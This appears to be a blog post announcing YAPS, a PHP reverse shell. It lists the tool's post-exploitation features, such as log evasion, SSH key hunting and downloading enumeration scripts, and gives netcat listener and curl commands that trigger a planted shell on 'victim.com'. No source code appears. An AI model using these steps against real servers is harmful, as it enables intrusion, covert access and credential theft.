YAPS – PHP reverse shell

Stella Sebastian
Posted by Stella Sebastian July 10, 2021

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YAPS – Yet Another PHP Shell

Yeah, I know, I know… But that’s it. =)

As the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there. It is a single PHP file containing all its functions and you can control it via a simple netcat listener (nc -lp 1337).

In the current version (1.0), its main functions support only linux systems, but i’m planning to make it work with Windows too.

It’s currently in its first version and I haven’t tested it much yet, and there are still many things I intend to do and improve for the next versions (it’s not done yet!), so please let me know if you’ve found any bugs. =)

Features

  • Single PHP file (no need to install packages, libs, or download tons of files)
  • Works with netcat, ncat, socat, multi/handler, almost any listener
  • Customizable password protection
  • No logs in .bash_history
  • Can do some enumeration
    • Network info (interfaces, iptables rules, active ports)
    • User info
    • List SUID and GUID files
    • Search for SSH keys (public and private)
    • List crontab
    • List writable PHP files
  • Auto download LinPEAS, LinEnum or Linux Exploit Suggester
  • Write and run PHP code on remote host
  • (Semi) Stabilize shell

Cons

  • Connection isn’t encrypted (nc does not support SSL)
  • Not interactive (although you can spawn an interactive shell with !stabilize)
    • CTRL+C breaks it; can’t use arrows to navigate (unless you use rlwrap)

Usage

  1. Set up a TCP listener;
  2. Set your IP and port. This can be done by:
  • 2.1 Editing the variables at the start of the script;
  • 2.2 Setting them via web request (curl -x POST -d "x=ip&y=port" victim.com/yaps.php or curl victim.com/yaps.php?x=ip&y=port);
  1. Open yaps.php on browser or curl it;
  2. Hack!

Working commands

  • !help - Display the help menu
  • !color - Toggle PS1 color (locally only, no environment variable is changed)
  • !enum - Download LinPEAS and LinEnum to /tmp and get them ready to use
  • !info - list informations about the target (the enumeration I mentioned above)
  • !stabilize - Spawn an interactive reverse shell on another port (works w/ sudo, su, mysql, etc.)
  • !passwd - Password option (enable, disable, set, modify)
  • !php - Write and run PHP on the remote host
  • !suggester - Download Linux Exploit Suggester to /tmp and get it ready to use

Screenshots

yaps
yaps2
yaps3
yaps4
yaps5

Changelog

1.0.1 – 08/07/2021

  • Changed [x,y,z] to array(x,y,z) to improve compatibility with older PHP versions
  • Changed payload for interactive shell to work with PHP<5.4

Credits

Some ideas were inspired by this tools:

Linpeas
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

Linenum
https://github.com/rebootuser/LinEnum

Suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester

Pentest Monkey
https://github.com/pentestmonkey/php-reverse-shell
Github Link
Android Post Exploitation Framework

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